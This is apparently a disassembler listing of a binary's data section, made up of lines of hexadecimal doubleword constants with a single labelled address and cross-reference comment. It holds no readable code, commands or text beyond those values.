dd 0F81AE0F3h, 0FF06ECDEh, 1FD2A136h, 0FB2F0713h, 2B134FFFh
dd 2BF14BFFh, 0C522FF34h, 0F5BDD5B4h, 0B1FFC999h, 0A4CD9DE1h
dd 0FA432EDDh, 0C7B3ABA3h, 0DBAEDE93h, 5D15B36Fh, 6597E1BFh
dd 0C2A3BB8Ah, 0FFFF8151h, 8E5CAA33h, 0F940AE78h, 438864B2h
dd 9A57F55h, 6A5361C6h, 705E0DFBh, 70FFD900h, 0F16F6036h
dd 87023F79h, 26FFFF7Eh, 726B677Dh, 0FE486641h, 7B005BE2h
dd 0F9450B4Dh, 5A0F12FFh, 419BEA6Bh, 94735F97h, 0FF86170Eh
dd 0A09918A9h, 0BAAA9009h, 9B193FFFh, 554503BCh, 1975FF3Dh
dd 7A3E407Fh, 61FF3B34h, 34322434h, 0C24C1046h, 0E5FF093Eh
dd 0B5FFED51h, 81180143h, 0FFB82238h, 0D1291C2Dh, 0C52D1CB9h
dd 0D1E10DFFh, 0C5F529C9h, 8925FFEDh, 8D31E1D9h, 83FFF5DDh
dd 1F8E1A2h, 0FFB08298h, 14FE94DAh, 0A8FA8046h, 0E68CC2FCh
dd 1BE8D694h, 0E4896DA4h, 0F02E7FA5h, 0FC1470CAh, 6E4D6E3h
dd 0F22EA5FFh, 671AE3D5h, 12131AFCh, 0FF272415h, 0FD339789h
dd 3821FE51h, 0F0C2D876h, 0F5625F9Ah, 0E8FFBAC0h, 0D4A6CC82h
dd 0B2BFF296h, 967FFFB3h, 54A58265h, 955DF0B5h, 4B1A979h
dd 87FFFF7Dh, 5248565Eh, 440AA0FFh, 50147E6Eh, 12B8FD6Ah
dd 1BE9775Ch, 0FFD1D34Bh, 0A6D7E17h, 241F6C7Ch, 0FF617BC2h
dd 0FF5509E5h, 720FA905h, 5A4A704Eh, 577CBEFFh, 57637BBCh
dd 0F3FF1B83h, 9B6301FFh, 876FBB4Fh, 8B3CFFC3h, 871D4993h
dd 0BA167BAFh, 8A17ABFFh, 0A8C5B69Fh, 8D9486FFh, 0DF908B86h
dd 8B94FE9Eh, 9A918886h, 7609D198h, 85988A2Fh, 9E8DFB32h
dd 1DF5F2DEh, 3CDB9360h, 0DF2F1285h, 8ADFFF96h, 979C8A8Dh
dd 95029290h, 98908DF6h, 9007BB10h, 3890B691h, 0AEAB3596h
dd 0DFB62F2Dh, 0BDF8512h, 909394DFh, 0AF8B176Ch, 858CDB25h
dd 9EF6910Fh, 498C968Fh, 0DF9048B6h, 0DFD2DF23h, 8F8ADB8Ch
dd 8BED8D1Eh, 0B7528CBFh, 9CD10289h, 0FB3C4E6Bh, 199D8A93h
dd 0F717946Dh, 8B8C8685h, 5A855D2Bh, 9C90F692h, 0ED60DF86h
dd 63999693h, 8BFE9738h, 0D0C58F8Bh, 0DB88D0h, 0D02F3BD1h
dd 939AF697h, 0ED1AD18Fh, 88239392h, 71A12CFFh, 0C00660C3h
dd 6A7D04h, 68141768h, 0CC8939E8h, 0FF642E2Fh, 43006C6Ch
dd 6F95F94Fh, 0A38743FFh, 5753AAC4h, 310DFF12h, 0EF683345h
dd 8B05FFDAh, 461F1F55h, 0C196748Bh, 92324D3Eh, 0B3B844B5h
dd 0DD89FAC4h, 13A0DE2Eh, 1E4A8867h, 74FB3E70h, 0A6E00960h
dd 0FFC47E06h, 543148D0h, 5013E8D4h, 35499544h, 0C02BF104h
dd 45FB0650h, 505054F1h, 7904FE06h, 0BE0005CCh, 0C4FE72E8h
dd 0C39041B2h, 28C4683Ah, 55FF425Eh, 0C1C2204Fh, 78C7E887h
dd 74402AF5h, 0B6F60C58h, 0F08BABCh, 0B0B6A9A8h, 0BBFE0ABBh
dd 0B8AABDBAh, 0ADAD0CC6h, 9C9E1BF9h, 0EDBB341Bh, 696899Ah
dd 0FA13CFB3h, 0A7A9B8BAh, 37AA3BBh, 0B2F21660h, 0B4BB1B0h
dd 0A3ADFFF4h, 91748F1Dh, 8C11BFBCh, 96B9FF8Ch, 0C9A93D9h
dd 11BEAC34h, 0D99AB294h, 0AFBE0CCFh, 18B2B6DBh, 8DFC1B96h
dd 0BBBDDFC6h, 9790ADF6h, 9D9EFB0Ah, 5B73ABFFh, 9E8DB201h
dd 17B9B6C7h, 0B60DDF92h, 6AA89E9Bh, 880D5E0Bh, 4022FFFFh
dd 225F0E86h, 0B890804Ah, 89F78BE6h, 0F69F027Dh, 8D384717h
dd 0CEB7CD47h, 8CAF982Ch, 7B988332h, 84038021h, 0B59B9015h
dd 0A50A3D17h, 772DCB01h, 12500371h, 2F6E10B5h, 0B9925688h
dd 4A026F24h, 85C50F40h, 88E40765h, 16839190h, 617681E5h
dd 7571437Eh, 59812C8h, 0E10A6A38h, 109A1270h, 0FF3E803Dh
dd 0C27C9BB1h, 0A19F24CCh, 9A92AE88h, 22B40A01h, 362C9B40h
dd 0A07F80B1h, 22D03536h, 6C8DA142h, 954456E1h, 5014216Eh
dd 0E7D86A4Ah, 11E687E1h, 1056CF20h, 24CAE281h, 6A7408ABh
dd 22F0860Ah, 2384AA42h, 70109888h, 22AE8938h, 0FB6BE99Eh
dd 0D3013FEDh, 505A38D0h, 0B1459A8Dh, 0A4024802h, 3A134A35h
dd 0F1EA0336h, 76C4EC5h, 9D5C69Dh, 8EA40DA4h, 1E7B040Eh
dd 9A370119h, 20100F01h, 13013B66h, 0C97D3D0Ah, 0F44DDB05h
dd 0F70E4100h, 6A1022CBh, 0D418290h, 96501D8h, 0DC90FECh
dd 29091CEAh, 907AF603h, 0E35F4C1h, 7C1F465h, 378C8F82h
dd 446D453Ah, 2C8E0F65h, 3D89065h, 16B41E49h, 65C11DC9h
dd 0C44247C4h, 4B74890h, 0E2096AC2h, 0B1245455h, 5050C4A3h
dd 0B601A748h, 4022454Ah, 2A588E98h, 0FF29C912h, 3192C361h
dd 68050040h, 4316E6EDh, 0AC2BB05h, 35FE8D12h, 0D4FF7A25h
dd 0A17B68Dh, 56F63AAh, 0EC55AE93h, 22F605C7h, 6FB5EC73h
dd 9E0A320Fh, 0C8472520h, 336236FDh, 0D91A607Ch, 53F338B2h
dd 3932671Bh, 46B2839Eh, 3A227CA8h, 0B31C19F9h, 99CF3B02h
dd 9B4823E2h, 7F3C2C1Dh, 0A9B00D85h, 0ADBEF5C5h, 0C4DB7D91h
dd 0FBAB0515h, 52B898Eh, 2E31177Fh, 0DFEE39D7h, 0AE263A11h
dd 75056FB0h, 61EE5C4Ch, 9717CB05h, 0DBF38418h, 981180F0h
dd 36C2B8EDh, 7131F205h, 63FF6D85h, 5DB0AE2h, 1D633D19h
dd 46B3ED81h, 10751192h, 5105AD58h, 0B73AB685h, 636C5189h
dd 3D6905ECh, 0BB2E7E53h, 0FB8D8C19h, 7F05D110h, 0A2C6D857h
dword_4BA62C dd 1774B705h ; DATA XREF: sub_40EB00+83r
dd 0C8EEBC0Ch, 89032D2Dh, 9D1651BFh, 633E0905h, 7AED6829h
dd 0F611DE95h, 0B3A2C6Dh, 744BB705h, 5305EC16h, 0EA74293Eh
dd 11E82B5Ch, 0ECB3395Bh, 299D0520h, 7FC9E0FDh, 4511BEABh
dd 0DF1C4167h, 82CE8B05h, 0E505D938h, 7745FB17h, 5D11B59Ah
dd 56B6E10h, 0DC717456h, 8F3FBD6Dh, 60778441h, 2C11C9B7h
dd 36E3F288h, 2E7D7505h, 95CED5C7h, 573F628h, 3D3B3FC5h
dd 0CEE9B507h, 60B5107Dh, 0E639B805h, 408E5BC0h, 5FA41FDDh
dd 116FF1B7h, 0BB81CDB8h, 39B17DDh, 0BE05BBB5h, 5760745h
dd 0B91DE074h, 0ACB5F454h, 3B7B0A79h, 6C054887h, 0F06F0AB3h
dd 0AB8B115h, 499255EDh, 0AD3BB05h, 15F6FF06h, 64B38D0h
dd 164262EFh, 0B18CDB87h, 4CD0AD5h, 439E3FB6h, 9B567900h
dd 0E6FF1DA0h, 8D843227h, 0FBD81C9Bh, 1D057BCDh, 551F8844h
dd 6FDAB997h, 0EF37607Ch, 0C00529B7h, 53DECA6Eh, 0A7BC92DFh
dd 44B24D05h, 4460713Ah, 65983593h, 44BEEC15h, 3AEC737Dh
dd 0EB44FB6Fh, 19F6CC52h, 0FB5C2F41h, 4594F79Bh, 8B4F5D05h
dd 454F05ECh, 47349C2Eh, 0ED3E2023h, 611E1773h, 0E22C5F6Fh
dd 4761D805h, 38A0FB7Fh, 7D116787h, 8388B29Eh, 653D05BEh
dd 7B5F0711h, 0D90E22CAh, 0FB1D8805h, 55E1276Fh, 86105D11h
dd 6D56056Bh, 0BF04411Ch, 5183898h, 80094810h, 0A7E31DF3h
dd 5860E27Dh, 119F5E05h, 95C27919h, 652ED69Ah, 7C48DFABh
dd 0F5209B1Bh, 0F98B0848h, 17863E92h, 4D9618B8h, 2C30736Fh
dd 21D9059Bh, 0A6C9F49h, 0D99862B9h, 60168B76h, 5D9A22Dh
dd 0B1760A90h, 38E07921h, 5B49C5B6h, 0C173ED3Eh, 6155DF40h
dd 6F9514D9h, 29B2C305h, 14052AF6h, 0DC33234Ah, 3A4A33EFh
dd 3A5CFCBFh, 4BD7634Ah, 434F5EDh, 482D7528h, 0B72D05AEh
dd 53650591h, 742254D2h, 3B854AD9h, 1FD04AC5h, 5E04E9AFh
dd 0A8A61C6Fh, 0F1E11B44h, 0DBCC1C63h, 0F6054406h, 0E1744AB1h
dd 0CDA8E421h, 12A2897Eh, 0B63B7E89h, 0FD8D1225h, 224BBFF2h
dd 0E3607A7h, 0AF29474Bh, 1C0255DBh, 0FA24ED4Ah, 6C6F05A9h
dd 0D80553F4h, 0FB574B18h, 5A479C4h, 9F555B11h, 6405FAECh
dd 0D49DFD29h, 11DD7869h, 37D7F53Fh, 0AFEA7E69h, 177D05D9h
dd 38C7C0FDh, 10F68DE5h, 0FDFF05B3h, 5675FD4h, 0A4644C6Dh
dd 0CF0AD7D8h, 0EF33DEF4h, 6C3BE4B3h, 61634D38h, 0DF53BC67h
dd 57F323Bh, 334DAED9h, 3F1CB936h, 4C50C1Dh, 0FE261BB4h
dd 4BFB3AFCh, 644DCD05h, 4E14EC60h, 4E379D27h, 3CBC508Eh
dd 390B696Bh, 2279ECC0h, 190AA3BBh, 15E7ECE0h, 8C4F0ABDh
dd 2DFBA42Ch, 4F26164Fh, 6279A04Eh, 0A1F6D419h, 4330E54Fh
dd 0DF7CB7B7h, 0D693A576h, 2792B705h, 0C805D9ADh, 0AEF7639h
dd 2EE1BC33h, 0B41EBE50h, 96396A7Dh, 5F32CD6h, 0DFE72CBAh
dd 5A4E9705h, 8E05DCCFh, 26079B1Dh, 6891DAF1h, 8710EBDAh
dd 0B49D7F05h, 0C1050F9Eh, 9CD550A4h, 59350C6h, 0A725192h
dd 515D4E51h, 7DF77C9h, 3CAC0A52h, 0CDBCCE1Fh, 8C413AE8h
dd 689D4D52h, 8F8E8F52h, 73A6A5ACh, 0CE1FED3Dh, 7AF20581h
dd 0FE039C3Eh, 7387CF5h, 1DCFFF05h, 15DAFBD3h, 10EB1162h
dd 0F97C05F2h, 0BFE40E70h, 0C81CE1F3h, 5343D905h, 53813B68h
dd 53862789h, 53D0E124h, 83E51EC5h, 89A81665h, 0A8BB37E0h
dd 27C753EEh, 0EC2453F3h, 9D485432h, 3A255458h, 0C547AE1h
dd 1A14FD1Ch, 306178Dh, 0FE12DAF9h, 2581DF05h, 848C05FCh
dd 0CA9BED54h, 0C60D1F22h, 0C5BB4B6Ah, 99FF09A0h, 0D127B568h
dd 0B855EFB7h, 0D1A13DFFh, 0BF8DCCC7h, 99A3326Eh, 0F84B05DFh
dd 972F3347h, 66838FF0h, 0C4566083h, 4BBB448Eh, 1B0A0805h
dd 59F27A8Ch, 37743956h, 7B1682ACh, 50F003Fh, 22574870h
dd 5A41260Dh, 990ACBD2h, 0D82CD963h, 16A8AC38h, 0B343846Fh
dd 0D49E16D0h, 438E45DFh, 38C9588Fh, 0E60A94B2h, 0E44361A3h
dd 169C58EEh, 92259759h, 59D37659h, 97D84D38h, 59B2E70Ah
dd 5A2EF243h, 4B5A564Eh, 3B5A61C9h, 26385B20h, 990ACB25h
dd 7D438734h, 0A5725B92h, 5BB45E5Bh, 5C60D949h, 0A653638h
dd 43CC745Ch, 935CB93Ch, 0F25C92E5h, 614E5CF4h, 680AF85Dh
dd 0A8C80C5h, 336FF24Ch, 0CF76C82Ch, 639F0208h, 2F3420CFh
dd 2D7FD5C1h, 0A5A1B1E6h, 96ADF18Dh, 5BBFE8E6h, 0D1CD2CADh
dd 59056F19h, 33A5A39Ah, 0CD63830Ch, 0BE1802Eh, 0A4C79DEh
dd 1134C79Ah, 1267391Bh, 1188DC89h, 64F1E72Eh, 6F8AB65Fh
dd 0C33A39E1h, 5D1B5h, 5A3006Fh, 0C5E63C3h, 8C01B7AFh
dd 769D5763h, 0B20A9364h, 219A1523h, 1E6166EAh, 0A8336513h
dd 9C260B7Ch, 374CF3E8h, 0ED2E2D67h, 97574C63h, 0FD1C33F6h
dd 7DB705E2h, 5D9C5FAh, 20FB175Fh, 1182FBFDh, 17E8E17Dh
dd 8305AD7Fh, 5FE2FF6h, 0D67E176Bh, 0DFCE4E98h, 0FC5FA311h
dd 47056F65h, 0CBECF8BFh, 0FD177705h, 0FF7BE341h, 0F17E11BEh
dd 5D65597h, 0AB2FEB4Bh, 3656121h, 0E7194D1Fh, 0C5116F3Eh
dd 89B7565Fh, 0CABF8B05h, 51DF12ACh, 9A052559h, 0ED723567h
dd 111F0BB1h, 0AE4B1675h, 96EC1605h, 0FD35A405h, 1C0DACC6h
dd 23DD11A0h, 5BE452Ch, 8A589565h, 0B12ACB5Fh, 0AB05D914h
dd 90A4FB35h, 7D11F1C7h, 5A296255h, 0C4AB05BEh, 82DB452h
dd 98FA65BFh, 9DDB35B7h, 0FB7D18E2h, 0E40B9DFBh, 660BEEFBh
dd 7B6C1A0Bh, 930B1334h, 0B277718Ch, 5C92733Dh, 2E669668h
dd 172DEB5Ch, 9B175C7Ah, 0D296F08Ch, 0B78066BBh, 6BA82E5Ch
dd 5C765C05h, 0A5FE0550h, 5A0B968h, 0A81DE08Bh, 5AE95DAAh
dd 8094BFFDh, 0BA82E5A2h, 479505D8h, 1D7B9089h, 5B11F7C2h
dd 2B5EA45h, 0D445B505h, 17BFEDB7h, 8E9F8723h, 0A67BFE2h
dd 0E8362138h, 0F5717968h, 4793699Eh, 7369B1BDh, 3AE76DF6h
dd 53B7675Bh, 56A8540h, 0A816217h, 0A84E056Bh, 28F4D615h
dd 0AC3EB5Dh, 0F5BDBC17h, 116B70B3h, 5DAAD27h, 5B52777h
dd 406ABF23h, 24EDCE35h, 6E11985Dh, 0DF336A32h, 0D42A0505h
dd 540B2F66h, 4CDA5A8h, 0F6356AB1h, 0DEF698B5h, 192DB611h
dd 22B6EADBh, 9D19BB91h, 35FCCC6Ah, 2F921C7Ch, 9B50B6B5h
dd 7001B1A6h, 0F8739911h, 936AF6B4h, 13DB5FD0h, 71816BB2h
dd 6B936B28h, 0E9156555h, 275B6B6Eh, 2C166B87h, 0E2DF376Fh
dd 7E9B166Ch, 0F97318EDh, 46E6B80Ah, 6E2EE1Dh, 7337C2B2h
dd 0A0058CF0h, 8CA89B2Dh, 0DEF8E01Ch, 5E964773h, 0AAEADA3Bh
dd 711BEB1Ch, 400B7F05h, 4205E391h, 1B0474ABh, 0C0B52224h
dd 0B8EC2376h, 8CD80A74h, 2CE9F2E4h, 0AFA6C98h, 0BE0B15DFh
dd 79C00A77h, 3620161Ch, 0B4370A2Dh, 0A3ED915h, 0A8334F72h
dd 98CF60C8h, 3C882371h, 0F2808C82h, 0C8743390h, 0B24CCFA1h
dd 0C33C3423h, 0D4F22C8Ch, 0E5C80433h, 2C5FFCC2h, 7807BD15h
dd 15F80AF7h, 1B7DFDE1h, 48A15D1Eh, 2E4B7735h, 57FFEAE8h
dd 635E5005h, 8CE2A3D5h, 0FBEE32A8h, 6E1D5FFFh, 0A63ABFFFh
dd 7FFEE8B2h, 82F55B75h, 0C69D26D4h, 0CA0F6A0Ah, 0C30ACAB1h
dd 588E56D2h, 39E60ACFh, 0BEEC9105h, 0CBF766F4h, 0F2FC9220h
dd 264E8311h, 0D84CC985h, 0FB8085D0h, 626EED8h, 0E0785B74h
dd 0BB056CB5h, 5D9C078h, 80EAFF7Ch, 28D06BB3h, 0D02851Dh
dd 2867ED82h, 4FD8EA3Ah, 21F8E63Ch, 0EB05D2DAh, 7805A521h
dd 976701D5h, 885F94Ch, 200BF7D8h, 37B1D84h, 59696CEh
dd 2D9C077Dh, 8674B72Dh
dd 163CCF40h, 0F62286B1h, 0EAD32A54h, 2538B61Ch, 386D1CA6h
dd 221C4B4Bh, 0C68D1767h, 0DBA79D02h, 0B7393289h, 5A5B0500h
dd 980A7283h, 118E63Ah, 0F62239B3h, 0D8416D51h, 0E4B4E81Ch
dd 69891617h, 7001C9FBh, 3F174505h, 6F0874A5h, 14A11168h
dd 89DB5952h, 0B8B8050h, 0CF3A5876h, 226762AAh, 0FF1BED19h
dd 1CEE1C41h, 6D7B1700h, 0C12E2E61h, 0CEC7866Eh, 0AEA90614h
dd 5C00B162h, 0B905372Bh, 5BAF50B8h, 5E8BA156h, 0CF405838h
dd 4C278B61h, 1A33CE3h, 8AF5B7ACh, 154437A4h, 9705E1FFh
dd 0C51ECB86h, 0B0E64FDAh, 11F8DB38h, 0F33463AFh, 1C9FB43Dh
dd 8B4455F4h, 0C5B8C4E0h, 0D6D61FFFh, 907E7C6Fh, 0DC175CC8h
dd 2CC7F3Eh, 0FFFEF2EFh, 0FFFCF198h, 3AE9AC31h, 49031773h
dd 1B76F0DDh, 0DC241AE0h, 1B4E6355h, 3A6387CFh, 0C31E02F9h
dd 8F779623h, 73058D39h, 751A731Fh, 0B734E63Fh, 0E13A907Eh
dd 0B7D625B9h, 0E60A9101h, 699B970h, 4D39361Fh, 0B671DA7h
dd 8E273DA8h, 3E7F9022h, 16C79551h, 0C3638F4h, 0F80BC696h
dd 6497307Ch, 973CE027h, 41D2694Bh, 0BF5EF998h, 0C922C998h
dd 0F7B98C5h, 1527169Ah, 8EC259Ah, 0FC6F0B9Bh, 0B90B839h
dd 0E0864F0Dh, 5FBC3C55h, 9698D349h, 0A7056E16h, 0B2273B31h
dd 4D8F569Bh, 0C82E9CB8h, 0FF9C51F9h, 78786D15h, 92B98D51h
dd 92182F27h, 5AD25A63h, 9DD8ED74h, 0C3C5FB17h, 7D117A8Bh
dd 81D16969h, 0D2D305BFh, 0DF0503A2h, 0D8469DF2h, 0A4210C0Fh
dd 929C3B9Eh, 265D239Fh, 649F5D5Fh, 0A0C6E215h, 0A4A4574Bh
dd 0D1205F25h, 9C43A484h, 0ED97A4D6h, 0F7F2A492h, 0A9754EA4h
dd 38500AFBh, 70AB2EEh, 0A5FF793Bh, 3BF53E3h, 2405AC5Dh
dd 0CA1C7EAAh, 0F505EB13h, 27601B0Ah, 3EAB31F2h, 0B18F3710h
dd 0B1740E5Eh, 0AC12DF17h, 0F69F1C7Ch, 0EF330AD2h, 0CDAD72E7h
dd 30CC2728h, 7D2582EFh, 0F40B21C6h, 29D6ED2Eh, 5E6F054Ah
dd 0C6059453h, 3C2AAE1Bh, 12A1624Eh, 9D62FF71h, 6A0544A2h
dd 502963AEh, 0BD0C60E9h, 128ABBA4h, 0EB7C05C1h, 2D822514h
dd 4CF3AF01h, 0B152EF58h, 0F9789E0Ah, 7D887865h, 19B20D69h
dd 0B21F7BECh, 0B994F322h, 0B9B27D64h, 0A3920191h, 670AFFECh
dd 0B31CD99Ch, 0B37E7921h, 0AC6A426h, 11EB79A0h, 0B438228Eh
dd 88B00AFBh, 6F0A84ECh, 8BD820ECh, 22FBC1B4h, 0BB94D81Dh
dd 7ACE087Dh, 1105BECEh, 0B69CF59Ch, 22F9B548h, 0B52CF5D0h
dd 39D8AD24h, 0DEDCD70Ah, 7BB53EECh, 6038CC73h, 0D412B586h
dd 0C4DF0A58h, 0EC25F337h, 9B20B61Dh, 2F800A67h, 931856C1h
dd 7DD39DA9h, 626CE7ACh, 2E1C1A6Bh, 0A80AC6BAh, 0B6B20D31h
dd 0BEC2753Dh, 0B9FD6162h, 9B23BF0Ah, 17C1EB1Dh, 9BB55899h
dd 73FA3798h, 8BB53136h, 5B48C205h, 3F1D5282h, 6EA74EB8h
dd 8110116Bh, 0C4D9DF2Fh, 0FE4EAE2Ch, 0D25989DBh, 0BEBF8499h
dd 0D2998A7Dh, 2611BF65h, 59A7166h, 0FCD8E399h, 0F8D1AEE7h
dd 0CBC54A1Bh, 8D8B3A69h, 7AC4EED3h, 828093C0h, 0DF90C084h
dd 0B6789E6h, 8CCD3DC4h, 0CD7DD822h, 4169EDFh, 60BDCFFh
dd 0F863CDFDh, 26C91A3Dh, 0E26FB7A9h, 711D8334h, 63C11077h
dd 9F823DFBh, 0BF6D992Eh, 4D5CDB5Bh, 0E9DBA705h, 702C7BB8h
dd 0FBBC3917h, 34C13D40h, 0D91A561Fh, 0A61C6F75h, 8AAB6AE3h
dd 7B1C596Dh, 2768C169h, 8346C16Fh, 6C90B6Eh, 8BC8DF83h
dd 0AEC1B2FDh, 16C20376h, 9ECB033h, 3C7C56C2h, 0ADB6A11Fh
dd 49A2F771h, 9113305h, 2800AE72h, 0B89E6B93h, 9316CB83h
dd 12BC9FADh, 37A952C3h, 396C7928h, 3E9B61C3h, 65582E0Ah
dd 79DCF821h, 1DE0DF0Bh, 85B7F23Ah, 8AF6D63Fh, 5ADC126h
dd 824D14F9h, 9A297F5Bh, 7E05B704h, 83D93465h, 0C39B780Ah
dd 0A2C95B4Bh, 22A876C3h, 78BA743Bh, 0E716ADACh, 9EBF91A4h
dd 0AC6C758h, 19D47938h, 67E1E424h, 0C636D414h, 0E60ADA8Bh
dd 1D1A023Ch, 810BFE73h, 0EB61A8F8h, 1D227A7Dh, 0AD807D0h
dd 0CBCBC67Fh, 9FC6AFD9h, 6F0ABB36h, 15CAB244h, 1D0AE2EEh
dd 0A9E33364h, 632EC405h, 0BF6D77D6h, 0CFADE205h, 5B4417D9h
dd 0FDB3F89Fh, 84C71E05h, 0B2A9BB9h, 0DB3AB83Ch, 0E340C8A9h
dd 5B823FAh, 1804C8AEh, 1D16D29Bh, 2E3D291Fh, 0FB6293C8h
dd 0BC18C884h, 1097C902h, 6C22C9B2h, 9CE71615h, 0FB005F91h
dd 0ECC96574h, 0BCE9C2Eh, 5122FDB4h, 0FC1262CCh, 16CD4ACAh
dd 63162CCAh, 572E45CDh, 1EDE0BE4h, 5683441Bh, 0BBF6CBDEh
dd 65DFDD7Ch, 886E93CDh, 0F291CDB2h, 0AC5DCD8Fh, 0FB84228Dh
dd 7ACDB257h, 39CBC92Eh, 64CDD0C4h, 0CDFCE1EEh, 0CFB22F1Ch
dd 0F9BF7418h, 8701D1C8h, 0D282251Dh, 30B38849h, 43789E0Bh
dd 880C2266h, 0C93C880h, 20EB97A2h, 503F632h, 4E72D392h
dd 0D3595ED3h, 0E468924Bh, 40BC06B1h, 8BD53271h, 48F6B938h
dd 9C4D2DD7h, 25D70A97h, 99D812E4h, 0D9C22F4Dh, 2AE2F401h
dd 24D9C37Ch, 0AEAD929h, 4BDA017Ah, 0DA2DC259h, 8C484DDDh
dd 0CD0FD40Ah, 0AEDB8302h, 1CEC4217h, 219B58DBh, 7DDC180Ah
dd 8DDB2C8Eh, 0B1F95842h, 1617DB6Ah, 0EE0A92D8h, 0B82C01FFh
dd 0C8770A97h, 4348E4AAh, 29726AE5h, 0F905E3D6h, 0B6C52E5h
dd 0D8A5CB78h, 0CEB24B16h, 0C07B5C3Fh, 8E983B0Bh, 4B0BC6EFh
dd 4BB3142h, 63DC0AA6h, 15086017h, 674D0BB8h, 0FD24E5EDh
dd 0DB14F583h, 0D16B7C02h, 0F664391Dh, 4EA3DD25h, 0C949DD2Ah
dd 4B7BDD31h, 572698DDh, 7D4C16CEh, 6297DD64h, 500B677Ch
dd 549C833Ch, 5C5CC1F6h, 20CD97C6h, 0EF5CE332h, 0EFAC880h
dd 44C9DE42h, 39DE47C9h, 652FDE4Eh, 71E424DEh, 0DE7EBCDEh
dd 0B679097h, 8CD83D48h, 0A13E782Eh, 0E10CDF0Eh, 2E0A239Bh
dd 0BB3C476Dh, 31888934h, 20E4B2ECh, 8BE019F0h, 35F220E3h
dd 0E0834EE0h, 0A98B249h, 14BCB8E4h, 0FC4762E1h, 93E13036h
dd 20E1B29Ch, 6F0AD16Ch, 0EDB2DFF0h, 0E332F020h, 0ADBF3A66h
dd 167EE392h, 21ED2C1Dh, 0B609E4DCh, 84E50B38h, 0E5379D03h
dd 0FF5416F9h, 670A78ACh, 9EB59158h, 6046F85Ch, 0F6E63D7Ch
dd 0A2C2B64h, 0B3916867h, 46F06C9Eh, 0E72D7C70h, 0ABEFB08h
dd 7978466Ah, 0E47C19A7h, 0D28067E2h, 2F19E81Fh, 9E5C910Ah
dd 8C469988h, 9019D479h, 22E90FF4h, 4C0AF91Eh, 8F39819h
dd 2ED3E1EBh, 0A60ADCA3h, 904EF129h, 0BFBEFCE8h, 565D3163h
dd 62C705DFh, 6E0BACBAh, 6B8946EBh, 2389ECD6h, 0BCA60D7Eh
dd 25973437h, 598B74C5h, 0E98BBD83h, 0E36C32B2h, 1DB602EBh
dd 0B2229FD5h, 0E8B5AC02h, 5D1BD61Ch, 65D3FE05h, 0EC05BA65h
dd 7D0C17E9h, 0FA70F040h, 0F82B531Dh, 0F70505D3h, 3DAA04EBh
dd 348FEC0Eh, 0FE3569h, 4CAC57BEh, 5D63017h, 602EE15Bh
dd 10EC60C9h, 0EC32F092h, 377B6208h, 3C1E4AECh, 0D20183BEh
dd 0B5C0605Bh, 3F9FB4F8h, 4DF212B2h, 2EEE9C9h, 0FC74B7C6h
dd 56F8C05h, 5602EC59h, 47EC701Eh, 2B97A6D3h, 4697DF18h
dd 0EF6EBE30h, 4401EC7Ch, 0EC9A0Fh, 679F1487h, 0D1ED9A2Dh
dd 0EE2710E6h, 0B3746DF1h, 0E8DBE3FEh, 0ECBC05F4h, 0AC9F0C11h
dd 3F12ECC2h, 4BECCD4Eh, 46ED01C6h, 7C1226Fh, 0B56D23EDh
dd 40504DDBh, 0FE9DED1Bh, 36FD05CFh, 8D9FFD3Ah, 3F51D189h
dd 39298D6Bh, 0ED3EF7B4h, 2710E64Ch, 76ED43C9h, 0B8770B8Ch
dd 0C7C4C822h, 0CAE0D69Ch, 0D16ACBEDh, 0E924EDEBh, 0ABEDF1E3h
dd 7ACFF626h, 35DA421Ch
dd 6CDB6E80h, 897ECD4Bh, 24967FF4h, 2CFF1E1Bh, 7EC0842h
dd 0F67C1DEEh, 2CA43C6h, 2C10B6D6h, 925905EEh, 24B36E58h
dd 0EE7796B1h, 270EA983h, 91E228CFh, 93C9DDC3h, 28CE2135h
dd 67287721h, 322D6249h, 0E2551D9Fh, 110FB56Fh, 5B410D6h
dd 62C492F8h, 1B1B2569h, 0C86CD21Dh, 31A723EEh, 74FE7CEDh
dd 1624F011h, 112B8B4Bh, 0C2801B58h, 8FEE68F0h, 7882F761h
dd 56F3AD50h, 9B772DA9h, 0A4465A56h, 10EE80E0h, 0EE97F498h
dd 0A4BA6E97h, 0EC9BBDEEh, 0EF042F0Ah, 663B4219h, 0B12615EFh
dd 0E3910ACBh, 0B249C963h, 697015F0h, 9A2693F0h, 0E8D91565h
dd 0F1167B0Ah, 0F1402736h, 0C16FC463h, 8E2FB91Bh, 0F68AE716h
dd 0F14B05FEh, 0FC933EB9h, 0FA98866h, 27F45779h, 4FE8AE7Eh
dd 34C65D05h, 9DDCFD70h, 154A93F1h, 0E13FF2B1h, 0F6A43129h
dd 9FD15CB8h, 0F220D4DCh, 0E2583423h, 1731B287h, 0B5827F7Ch
dd 55B8051Dh, 0A5253B04h, 7609FDE1h, 45F26C52h, 8FF2409Dh
dd 98835A68h, 0DC1CAFB5h, 898D7021h, 5105E0DEh, 0D99DC9F2h
dd 3668F264h, 0CC5C0AB0h, 43F86C8Dh, 77A4F2E6h, 62F3719Dh
dd 8616FB7Bh, 3E961A0Ah, 0AC6B2F1h, 1BDE79ADh, 0F4EC58ECh
dd 0F40DBC0Ah, 3FEC2D24h, 699C36F4h, 639F93F4h, 577D640Ah
dd 600A8CC8h, 720E9F2h, 0F50AD949h, 0F5473B9Ah, 0CB54264Ch
dd 2061B20Ah, 78F59EF6h, 0C9F6034Eh, 671A910Ah, 0EC24F62Bh
dd 9C8EF6B3h, 0E93F6DDh, 7678F7B2h, 4E99F736h, 0C249F757h
dd 4E07F778h, 4CC9F78Fh, 0BF0AACB1h, 0F815155Ch, 2DC80A64h
dd 25826CCFh, 0C5A89AC8h, 2B0A97DEh, 1707F983h, 0F93AE120h
dd 0F94D2F76h, 7BECBB64h, 0DA9B2CF9h, 61E72E0Ah, 59DE10DCh
dd 0FBD942F0h, 9230894Ch, 12997C05h, 33BE2461h, 2D48C225h
dd 28FAB2E8h, 0B90A206Ch, 7B1B8731h, 0EED6F7BFh, 5B2C5D27h
dd 2D898DCCh, 2242B2C2h, 18FA5AF5h, 0FA927B8Ch, 0FAA927F1h
dd 0AECDB64h, 0F47E43FBh, 8DBA3B4Bh, 0A5AD75E8h, 0D948778Ah
dd 17671805h, 13BCED88h, 91F611C6h, 513656Ch, 0CAD923F8h
dd 0FBB8B626h, 50769A32h, 0A24E66FBh, 0C95BC9FBh, 1838FBBAh
dd 650B4BFCh, 845BC80Ah, 0A756C0Ah, 22939DB9h, 12E4A07Bh
dd 567D6981h, 5B7F3136h, 0BA64FC78h, 0F81CD4D9h, 645008A3h
dd 8978EC01h, 0B3369BF9h, 0B27BC9FDh, 0B1E40A3Ah, 0DAE48658h
